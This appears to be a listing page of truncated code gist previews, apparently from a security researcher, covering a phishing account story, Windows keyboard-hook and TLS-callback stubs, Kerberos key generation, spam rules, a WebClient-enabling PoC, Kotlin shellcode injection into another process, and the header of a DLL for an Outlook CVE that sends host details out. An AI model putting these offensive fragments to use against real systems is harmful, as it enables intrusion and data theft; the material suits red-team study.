mgeeky

g.co, Google's official URL shortcut (update: or Google Workspace's domain verification, see bottom), is compromised. People are actively having their Google accounts stolen.

Someone just tried the most sophisticated phishing attack I've ever seen. I almost fell for it. My mind is a little blown.

1. Someone named "Chloe" called me from 650-203-0000 with Caller ID saying "Google". She sounded like a real engineer, the connection was super clear, and she had an American accent. Screenshot.

2. They said that they were from Google Workspace and someone had recently gained access to my account, which they had blocked. They asked me if I had recently logged in from Frankfurt, Germany and I said no.

3. I asked if they can confirm this is Google calling by emailing me from a Google email and they said sure and sent me this email and told me to look for a case number in it, which I saw in

mgeeky

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "winmm.lib")

void Nothing(WORD wKey)
{
}

void PrintKey(WORD wKey)

mgeeky

#include <cstdio>
#include <windows.h>

VOID WINAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    puts("[DynamicLibrary.dll]: TLS Callback");
}

#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")

mgeeky

function Get-KerberosAESKey
{
    <#
    .SYNOPSIS
    Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
    results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
    
    https://tools.ietf.org/html/rfc3962
    https://msdn.microsoft.com/library/cc233855.aspx

mgeeky

     1	                   AC_BR_BONANZA  Too many newlines in a row... spammy template
     2	                        ACCESSDB  Message would have been caught by accessdb
     3	              ACCT_PHISHING_MANY  Phishing for account information
     4	                  AC_DIV_BONANZA  Too many divs in a row... spammy template
     5	               AC_FROM_MANY_DOTS  Multiple periods in From user name
     6	           AC_HTML_NONSENSE_TAGS  Many consecutive multi-letter HTML tags, likely nonsense/spam
     7	                  AC_POST_EXTRAS  Suspicious URL
     8	        AC_SPAMMY_URI_PATTERNS10  link combos match highly spammy template
     9	        AC_SPAMMY_URI_PATTERNS11  link combos match highly spammy template
    10	        AC_SPAMMY_URI_PATTERNS12  link combos match highly spammy template

mgeeky

#include <windows.h>

int main() {
    HANDLE file = CreateFileA(".\\test.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ENCRYPTED|FILE_FLAG_DELETE_ON_CLOSE, NULL);
    if (!file || file == INVALID_HANDLE_VALUE) {
        return GetLastError();
    }
    CloseHandle(file);
    return 0;
}

mgeeky

using System.Runtime.InteropServices;
using System;

/* 
 * Simple C# PoC to enable WebClient Service Programmatically
 * Based on the C++ version from @tirannido (James Forshaw)
 * Twitter: https://twitter.com/tiraniddo
 * URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
 * 
 * Compile with:

mgeeky

fun injectShellcode(vararg shellcode: Int) {
	val length = shellcode.size
	val hProcess = (lms!! as WindowsProcess).handle
	
	val internalBlock = Kernel32.VirtualAllocEx(hProcess, 0, shellcode.size,
			WinNT.MEM_COMMIT, WinNT.PAGE_EXECUTE_READWRITE)
	
	val buffer = Memory(shellcode.size.toLong())
	for (i in 0..shellcode.lastIndex) buffer.setByte(i.toLong(), shellcode[i].toByte())
	

mgeeky

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.

mgeeky

/**
 *    This DLL is designed for use in conjunction with the Ruler tool for
 *    security testing related to the CVE-2024-21378 vulnerability, 
 *    specifically targeting MS Outlook.
 * 
 *    It can be used with the following command line syntax:
 *      ruler [auth-params] form add-com [attack-params] --dll ./test.dll
 *    Ruler repository: https://github.com/NetSPI/ruler/tree/com-forms (com-forms branch).
 *
 *    After being loaded into MS Outlook, it sends the PC's hostname and